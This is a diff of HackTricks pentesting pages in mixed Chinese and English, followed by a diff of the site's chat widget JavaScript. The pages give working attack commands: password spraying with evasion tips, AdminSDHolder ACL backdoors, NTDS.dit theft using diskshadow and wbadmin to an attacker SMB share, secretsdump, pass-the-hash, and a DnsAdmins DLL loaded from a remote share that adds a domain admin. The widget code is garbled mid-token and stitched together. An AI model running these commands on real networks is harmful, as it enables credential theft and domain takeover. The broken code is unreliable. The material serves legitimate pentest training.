spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -152,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
隐蔽与安全控制:
隐蔽与安全控制:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -175,27 +191,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
```
Available variables include:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- 来自每个用户的 pwdLastSet或 whenCreated的时间变量 {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 组合辅助和组织令牌: {separator}, {suffix}, {extra}
Operational notes:
- 优先使用 -dc 查询 PDC-emulator 以读取最权威的 badPwdCount 和与策略相关的信息。
- badPwdCount 的重置会在观察窗口之后的下一次尝试触发;使用阈值和时序来保持安全。
- Kerberos pre-auth 尝试在 DC 监控中以 4768/4771 的形式出现;使用抖动和速率限制以便混入正常流量。
- 优先使用 -dc 查询 PDC-emulator,以读取最权威的 badPwdCount 和策略相关信息。
- badPwdCount 的重置在观测窗口之后的下一次尝试时触发;使用阈值和时机来保持安全。
- Kerberos pre-auth 尝试会在 DC telemetry 中以 4768/4771 的形式出现;使用 jitter 和 rate-limiting 来混入正常流量。
> 提示SpearSpray 的默认 LDAP 页面大小为 200根据需要用 -lps 调整。
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
有多个工具可用于 p**assword spraying outlook**。
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- 使用 [Ruler](https://github.com/sensepost/ruler) (可靠!)
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- 使用 [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
要使用这些工具,您需要一个用户列表以及一个 password或一小组 password 列表用于喷洒
要使用这些工具,你需要一个用户列表以及一个密码或一个用于 password spraying 的短密码列表
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -226,6 +242,7 @@ Operational notes:
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,67 +2,67 @@
{{#include ../../banners/hacktricks-training.md}}
## 具有管理权限的知名
## 常见具有管理权限的组
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## 账户操作员
## Account Operators
该组有权创建不是域管理员的账户和组。此外它还允许本地登录到域控制器DC
该组有权在域中创建非管理员的账户和组。此外,它还允许在域控制器 (DC) 上进行本地登录
要识别该组的成员,可以执行以下命令:
要识别该组的成员,执行以下命令:
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
添加新用户是被允许的,同时也可以在 DC01 上进行本地登录。
允许添加新用户,也允许在 DC 上进行本地登录。
## AdminSDHolder 组
**AdminSDHolder** 组的访问控制列表 (ACL) 是至关重要的,因为它为 Active Directory 中所有“受保护组”设置权限,包括高权限组。该机制通过防止未经授权的修改来确保这些组的安全。
**AdminSDHolder** 组的访问控制列表 (ACL) 非常关键,因为它为 Active Directory 中的所有“受保护组”(包括高权限组)设置权限。该机制通过阻止未授权的修改来确保这些组的安全。
攻击者可以通过修改 **AdminSDHolder** 组的 ACL 来利用这一点,向标准用户授予完全权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果该用户的权限被更改或移除,由于系统的设计,他们将在一小时内自动恢复。
攻击者可以通过修改 **AdminSDHolder** 组的 ACL,授予一个普通用户完整权限来利用这一点。这将使该用户有效地对所有受保护组拥有完全控制权。如果该用户的权限被更改或移除,由于系统设计,它将在一小时内被自动恢复。
查看成员和修改权限的命令包括:
用于查看成员和修改权限的命令包括:
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
可以使用脚本来加快恢复过程: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)
有一个脚本可用于加速恢复过程: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
有关更多详细信息,请访问 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)
更多细节,请参见 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD 回收站
## AD Recycle Bin
该组的成员资格允许读取已删除的 Active Directory 对象,这可能会揭示敏感信息:
该组的成员可读取已删除的 Active Directory 对象,这可能暴露敏感信息:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### 域控制器访问
对 DC 上文件的访问受到限制,除非用户是 `Server Operators` 组的一部分,这会改变访问级别。
对 DC 上的文件访问受到限制,除非用户属于 `Server Operators` 组,该组会改变访问级别。
### 权限提升
使用 Sysinternals 的 `PsService``sc`,可以检查修改服务权限。例如,`Server Operators` 组对某些服务拥有完全控制权,允许执行任意命令权限提升:
使用 Sysinternals 的 `PsService``sc`,可以检查修改服务权限。例如,`Server Operators` 组对某些服务拥有完全控制权,允许执行任意命令并进行权限提升:
```cmd
C:\> .\PsService.exe security AppReadiness
```
此命令显示 `Server Operators` 拥有完全访问权限,允许操纵服务以获得提升的权限。
此命令显示 `Server Operators` 拥有完全访问权限,可以操作服务以获取提升的权限。
## Backup Operators
加入 `Backup Operators`提供对 `DC01` 文件系统的访问权限,因其拥有 `SeBackup``SeRestore` 权限。这些权限使得即使没有明确的权限,也能进行文件夹遍历、列出和复制文件的操作,使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
加入 `Backup Operators`可通过 `SeBackup``SeRestore` 特权访问 `DC01` 的文件系统。使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志,这些特权允许遍历文件夹、列出内容并复制文件,即使没有显式权限。此过程需要使用特定的脚本。
要列出组成员,执行:
要列出组成员,执行:
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### 本地攻击
要在本地利用这些权限,采用以下步骤:
要在本地利用这些权限,执行以下步骤:
1. 导入必要的库:
```bash
@ -81,11 +81,11 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over
```
### AD 攻击
直接访问域控制器的文件系统允许窃取 `NTDS.dit` 数据库,该数据库包含所有域用户和计算机的 NTLM 哈希
直接访问域控制器的文件系统可窃取包含域用户和计算机所有 NTLM 哈希的 `NTDS.dit` 数据库
#### 使用 diskshadow.exe
1. 创建 `C` 的影子副本:
1. 创建 `C` 驱动器的影子副本:
```cmd
diskshadow.exe
set verbose on
@ -98,11 +98,11 @@ expose %cdrive% F:
end backup
exit
```
2. 从影子副本复制 `NTDS.dit`
2. 从影子副本复制 `NTDS.dit`
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
或者,使用 `robocopy` 进行文件复制
或者,使用 `robocopy` 进行文件复制:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
@ -111,14 +111,22 @@ robocopy /B F:\Windows\NTDS .\ntds ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
4. `NTDS.dit` 中检索所有哈希
4. 检索来自 `NTDS.dit` 的所有 hashes
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
5. 提取后: Pass-the-Hash 到 DA
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### 使用 wbadmin.exe
1. 在攻击者机器上设置 NTFS 文件系统以用于 SMB 服务器,并在目标机器上缓存 SMB 凭据。
2. 使用 `wbadmin.exe` 进行系统备份和 `NTDS.dit` 提取:
1. 在攻击者机器上为 SMB 服务器设置 NTFS 文件系统,并在目标机器上缓存 SMB 凭证
2. 使用 `wbadmin.exe` 进行系统备份并提取 `NTDS.dit`
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
```
有关实际演示,请参见 [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s)。
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins
**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载具有 SYSTEM 权限的任意 DLL通常托管在域控制器上。此能力允许显著的利用潜力。
Members of the **DnsAdmins** group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.
要列出 DnsAdmins 组的成员,使用:
要列出 DnsAdmins 组的成员,使用:
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### 执行任意 DLL
### 执行任意 DLL (CVE202140469)
成员可以使用以下命令使 DNS 服务器加载任意 DLL无论是本地的还是来自远程共享的
> [!NOTE]
> 此漏洞允许在 DNS 服务中以 SYSTEM 权限执行任意代码(通常在 DCs 内)。该问题已在 2021 年修复。
Members 可以使 DNS 服务器加载任意 DLL本地或来自远程共享使用如下命令
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
```
```c
@ -158,23 +172,23 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
重新启动 DNS 服务(可能需要额外的权限)是加载 DLL 所必需的:
需要重启 DNS 服务 (可能需要额外权限),以便加载该 DLL:
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```
有关此攻击向量的更多详细信息,请参 ired.team。
有关此攻击向量的更多详细信息,请参 ired.team。
#### Mimilib.dll
使用 mimilib.dll 进行命令执行也是可行的,可以修改它以执行特定命令或反向 shell。 [查看此帖子](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) 获取更多信息。
也可以使用 mimilib.dll 进行命令执行,通过修改它来执行特定命令或 reverse shells。[Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) 获取更多信息。
### WPAD 记录用于 MitM
### WPAD Record for MitM
DnsAdmins 可以操纵 DNS 记录,通过在禁用全局查询阻止列表后创建 WPAD 记录来执行中间人 (MitM) 攻击。可以使用 Responder 或 Inveigh 等工具进行欺骗和捕获网络流量。
DnsAdmins 可以操作 DNS 记录,通过在禁用全局查询阻止列表后创建 WPAD 记录来执行 Man-in-the-Middle (MitM) 攻击。像 Responder 或 Inveigh 这样的工具可以用于欺骗并捕获网络流量。
### 事件日志读取器
成员可以访问事件日志,可能会找到敏感信息,例如明文密码或命令执行详细信息:
### Event Log Readers
成员可以访问事件日志,可能会发现敏感信息,例如明文密码或命令执行的详细信息:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
@ -182,66 +196,71 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
```
## Exchange Windows Permissions
该组可以修改域对象上的 DACL,可能授予 DCSync 权限。利用该组进行特权升级的技术在 Exchange-AD-Privesc GitHub 仓库中有详细说明
该组可以修改域对象上的 DACLs可能会授予 DCSync 权限。有关利用该组进行权限提升的技术详见 Exchange-AD-Privesc GitHub repo
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V 管理员
## Hyper-V Administrators
Hyper-V 管理员对 Hyper-V 拥有完全访问权限,这可以被利用来控制虚拟化的域控制器。这包括克隆实时域控制器和从 NTDS.dit 文件中提取 NTLM 哈希。
Hyper-V Administrators 拥有对 Hyper-V 的完全访问权限,可被滥用以控制虚拟化的域控制器。 这包括克隆运行中的 DC 并从 NTDS.dit 文件中提取 NTLM 哈希。
### 利用示例
### Exploitation Example
Hyper-V 管理员可以利用 Firefox 的 Mozilla Maintenance Service 以 SYSTEM 身份执行命令。这涉及创建一个指向受保护的 SYSTEM 文件的硬链接,并用恶意可执行文件替换它
Firefox 的 Mozilla Maintenance Service 可被 Hyper-V Administrators 利用,以 SYSTEM 身份执行命令。此方法涉及创建指向受保护 SYSTEM 文件的硬链接并将其替换为恶意可执行文件
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
```
注意:硬链接利用在最近的Windows更新缓解。
注意:最近的 Windows 更新已缓解 Hard link exploitation
## 组织管理
## Group Policy Creators Owners
在部署了**Microsoft Exchange**的环境中,一个特殊的组称为**组织管理**,拥有重要的能力。该组有权**访问所有域用户的邮箱**并对“Microsoft Exchange安全组”组织单位OU拥有**完全控制权**。这种控制包括**`Exchange Windows Permissions`**组,该组可以被利用进行权限提升
该组允许成员在域中创建 Group Policies。但其成员不能将 group policies 应用到用户或组,也不能编辑现有的 GPOs
### 权限利用和命令
## Organization Management
#### 打印操作员
在部署了 **Microsoft Exchange** 的环境中,一个名为 **Organization Management** 的特殊组拥有重要能力。该组有特权 **访问所有域用户的邮箱**,并对 **'Microsoft Exchange Security Groups' 组织单位 (OU) 拥有完全控制权**。此控制包括 **`Exchange Windows Permissions`** 组,可被利用进行权限提升。
**打印操作员**组的成员被赋予多个权限,包括**`SeLoadDriverPrivilege`**,允许他们**在域控制器上本地登录**、关闭它并管理打印机。为了利用这些权限,特别是当**`SeLoadDriverPrivilege`**在未提升的上下文中不可见时必须绕过用户帐户控制UAC
### 权限利用与命令
要列出该组的成员可以使用以下PowerShell命令
#### Print Operators
**Print Operators** 组的成员拥有若干权限,包括 **`SeLoadDriverPrivilege`**,这使得他们可以 **在 Domain Controller 上本地登录**、关闭它并管理打印机。要利用这些权限,尤其是在非提升上下文中看不到 **`SeLoadDriverPrivilege`** 时,需要绕过 User Account Control (UAC)。
要列出该组的成员,可使用以下 PowerShell 命令:
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
有关**`SeLoadDriverPrivilege`**的更详细利用技术,应该查阅特定的安全资源。
有关**`SeLoadDriverPrivilege`** 相关的更详细利用技术,请查阅专门的安全资料
#### 远程桌面用户
该组的成员通过远程桌面协议RDP获得对PC的访问权限。要枚举这些成员可以使用PowerShell命令
该组的成员通过 Remote Desktop Protocol (RDP) 获得对 PC 的访问权限。要枚举这些成员,可以使用 PowerShell 命令:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
进一步的关于利用 RDP 的见解可以在专门的渗透测试资源中找到。
有关利用 RDP 的更多见解可以在专门的 pentesting 资源中找到。
#### 远程管理用户
成员可以通过 **Windows 远程管理 (WinRM)** 访问 PC。通过以下方式枚举这些成员
成员可以通过 **Windows Remote Management (WinRM)** 访问 PC。
这些成员的枚举可通过下列方式完成:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
对于与 **WinRM** 相关的利用技术,应咨询特定文档。
有关与 **WinRM** 相关的利用技术,请参考相应的文档。
#### 服务器操作员
#### Server Operators
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、改变系统时间以及关闭系统。要列举成员,可以使用以下命令
该组具有对 Domain Controllers 执行各种配置的权限,包括备份和恢复权限、更改系统时间以及关闭系统。要枚举成员,提供的命令是
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## References <a href="#references" id="references"></a>
## 参考资料 <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -257,6 +276,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => {
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return;
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) ---
const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits →
const MAX_W = 600;
const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => {
if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px";
};
const onUp = () => {
if (!dragging) return;
dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true;
startX = e.clientX;
startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp);
});
document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();